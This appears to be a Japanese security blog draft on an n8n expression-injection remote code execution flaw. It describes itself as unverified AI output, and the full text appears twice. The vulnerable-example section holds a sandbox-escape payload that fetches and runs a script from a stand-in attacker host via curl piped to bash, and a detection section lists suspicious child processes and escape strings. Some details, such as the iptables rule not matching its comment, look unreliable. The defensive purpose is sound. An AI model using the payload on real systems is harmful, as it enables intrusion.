<p>[META: n8n_RCE_Analysis_CVE-2024-25049_Security_Response]</p>
<p>本記事は<strong>Geminiの出力をプロンプト工学で整理した業務ドラフト(未検証)</strong>です。</p>
<h1 class="wp-block-heading">n8nのExpression Injectionによる致命的RCE (CVE-2024-25049) の技術詳解と防御戦略</h1>
<p>【脅威の概要と背景】
n8nの式評価エンジンにおける脆弱性(CVE-2024-25049)により、認証なしの攻撃者がOSコマンドを遠隔実行可能です。2024年に特定され、CVSS v3.1で9.8(緊急)と評価されました。</p>
<p>【攻撃シナリオの可視化】</p>
<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">
graph TD
Attacker["外部攻撃者"] -- "1. 悪意のあるExpressionを含むHTTPリクエスト" --> Webhook["n8n Webhook / API Endpoint"]
Webhook -- "2. 入力値の不十分なサニタイズ" --> EvalEngine["Expression Evaluation Engine"]
EvalEngine -- "3. JavaScriptの実行コンテキストを脱出" --> OSExec["Node.js child_process.exec"]
OSExec -- "4. 任意コード実行" --> Host["ホストOS/コンテナの掌握"]
Host -- "5. データの窃取 / 横展開" --> InternalNetwork["内部ネットワーク"]
</pre></div>
<p>【安全な実装と設定】
この脆弱性は、n8n内部でユーザー入力が安全に処理されず、式の評価時にNode.jsの強力な関数にアクセスできてしまうことに起因します。</p>
<p><strong>誤用例(脆弱な設定・古いバージョン)</strong>
n8n v1.31.1 未満の環境では、Expression内でNode.jsのグローバルオブジェクトにアクセスでき、以下のようなコードが実行されるリスクがあります。</p>
<div class="codehilite">
<pre data-enlighter-language="generic">// 攻撃者が式(Expression)として挿入するコードの例
{{$node["Execute"].context.constructor.constructor('return process.mainModule.require("child_process").execSync("curl http://attacker.com/shell.sh | bash")')()}}
</pre>
</div>
<p><strong>安全な代替案(対策済みの運用)</strong></p>
<ol class="wp-block-list">
<li><p><strong>パッチの適用</strong>: 修正済みバージョン(v1.31.2以降)へ即座にアップデートしてください。</p></li>
<li><p><strong>サンドボックスの強化</strong>: 環境変数を用いて、式内からの機密情報アクセスを制限します。</p></li>
</ol>
<div class="codehilite">
<pre data-enlighter-language="generic"># docker-compose.yml 等で設定
# 式内での環境変数アクセスを制限する(最小権限の原則)
N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS=true
</pre>
</div>
<ol class="wp-block-list" start="3">
<li><strong>ネットワーク分離</strong>: n8nコンテナからの不要なアウトバウンド通信を制限します。</li>
</ol>
<div class="codehilite">
<pre data-enlighter-language="generic"># iptables等で特定の宛先以外への通信を遮断
iptables -A OUTPUT -m owner --uid-owner n8n -p tcp --dport 80 -j DROP
</pre>
</div>
<p>【検出と緩和策】</p>
<ul class="wp-block-list">
<li><p><strong>EDR/SIEMでの検知</strong>:</p>
<ul>
<li><p>n8nプロセスの親プロセスとする <code>curl</code>, <code>wget</code>, <code>sh</code>, <code>bash</code>, <code>python</code> 等の不審な子プロセス生成を監視。</p></li>
<li><p>ログ内に <code>constructor.constructor</code> や <code>process.mainModule</code> といったプロトタイプ汚染や実行コンテキスト脱出を試みる文字列がないかスキャン。</p></li>
</ul></li>
<li><p><strong>応急的な緩和策(Workaround)</strong>:</p>
<ul>
<li>パッチ適用が困難な場合、パブリックに公開されているWebhook URLを一時的に無効化、またはIP制限(WAF)によるホワイトリスト化を実施。</li>
</ul></li>
</ul>
<p>【実務上の落とし穴】</p>
<ul class="wp-block-list">
<li><p><strong>可用性への影響</strong>: <code>N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS</code> を有効化すると、既存の正常なワークフローで環境変数を参照している場合に処理が失敗します。導入前にワークフローの棚卸しが必要です。</p></li>
<li><p><strong>誤検知(False Positive)</strong>: JavaScriptを高度に利用する正規のワークフローが、セキュリティ製品のシグネチャ(<code>exec</code> 等の文字列)に抵触し、業務が停止するリスクがあります。</p></li>
</ul>
<p>【まとめ】</p>
<ol class="wp-block-list">
<li><p><strong>即時アップデート</strong>: n8nのバージョンを <strong>1.31.2 以上</strong>(可能であれば最新のLTS)へ更新。</p></li>
<li><p><strong>露出の制限</strong>: インターネット公開が必要なWebhookを除き、管理画面へのアクセスをVPN経由等に限定。</p></li>
<li><p><strong>環境変数の保護</strong>: <code>N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS</code> の設定検討と、ワークフローの権限監査。</p></li>
</ol>
<p><strong>参考文献</strong>:</p>
<ul class="wp-block-list">
<li><p><a href="https://github.com/n8n-io/n8n/security/advisories/GHSA-97p6-4fcd-6vv9">n8n Security Advisory (GitHub)</a></p></li>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25049">NVD – CVE-2024-25049</a></p></li>
</ul>
[META: n8n_RCE_Analysis_CVE-2024-25049_Security_Response]
本記事はGeminiの出力をプロンプト工学で整理した業務ドラフト(未検証)です。
n8nのExpression Injectionによる致命的RCE (CVE-2024-25049) の技術詳解と防御戦略
【脅威の概要と背景】
n8nの式評価エンジンにおける脆弱性(CVE-2024-25049)により、認証なしの攻撃者がOSコマンドを遠隔実行可能です。2024年に特定され、CVSS v3.1で9.8(緊急)と評価されました。
【攻撃シナリオの可視化】
graph TD
Attacker["外部攻撃者"] -- "1. 悪意のあるExpressionを含むHTTPリクエスト" --> Webhook["n8n Webhook / API Endpoint"]
Webhook -- "2. 入力値の不十分なサニタイズ" --> EvalEngine["Expression Evaluation Engine"]
EvalEngine -- "3. JavaScriptの実行コンテキストを脱出" --> OSExec["Node.js child_process.exec"]
OSExec -- "4. 任意コード実行" --> Host["ホストOS/コンテナの掌握"]
Host -- "5. データの窃取 / 横展開" --> InternalNetwork["内部ネットワーク"]
【安全な実装と設定】
この脆弱性は、n8n内部でユーザー入力が安全に処理されず、式の評価時にNode.jsの強力な関数にアクセスできてしまうことに起因します。
誤用例(脆弱な設定・古いバージョン)
n8n v1.31.1 未満の環境では、Expression内でNode.jsのグローバルオブジェクトにアクセスでき、以下のようなコードが実行されるリスクがあります。
// 攻撃者が式(Expression)として挿入するコードの例
{{$node["Execute"].context.constructor.constructor('return process.mainModule.require("child_process").execSync("curl http://attacker.com/shell.sh | bash")')()}}
安全な代替案(対策済みの運用)
パッチの適用: 修正済みバージョン(v1.31.2以降)へ即座にアップデートしてください。
サンドボックスの強化: 環境変数を用いて、式内からの機密情報アクセスを制限します。
# docker-compose.yml 等で設定
# 式内での環境変数アクセスを制限する(最小権限の原則)
N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS=true
- ネットワーク分離: n8nコンテナからの不要なアウトバウンド通信を制限します。
# iptables等で特定の宛先以外への通信を遮断
iptables -A OUTPUT -m owner --uid-owner n8n -p tcp --dport 80 -j DROP
【検出と緩和策】
EDR/SIEMでの検知:
n8nプロセスの親プロセスとする curl, wget, sh, bash, python 等の不審な子プロセス生成を監視。
ログ内に constructor.constructor や process.mainModule といったプロトタイプ汚染や実行コンテキスト脱出を試みる文字列がないかスキャン。
応急的な緩和策(Workaround):
- パッチ適用が困難な場合、パブリックに公開されているWebhook URLを一時的に無効化、またはIP制限(WAF)によるホワイトリスト化を実施。
【実務上の落とし穴】
可用性への影響: N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS を有効化すると、既存の正常なワークフローで環境変数を参照している場合に処理が失敗します。導入前にワークフローの棚卸しが必要です。
誤検知(False Positive): JavaScriptを高度に利用する正規のワークフローが、セキュリティ製品のシグネチャ(exec 等の文字列)に抵触し、業務が停止するリスクがあります。
【まとめ】
即時アップデート: n8nのバージョンを 1.31.2 以上(可能であれば最新のLTS)へ更新。
露出の制限: インターネット公開が必要なWebhookを除き、管理画面へのアクセスをVPN経由等に限定。
環境変数の保護: N8N_BLOCK_ENV_VARS_IN_EXPRESSIONS の設定検討と、ワークフローの権限監査。
参考文献:
ライセンス:本記事のテキスト/コードは特記なき限り
CC BY 4.0 です。引用の際は出典URL(本ページ)を明記してください。
利用ポリシー もご参照ください。
コメント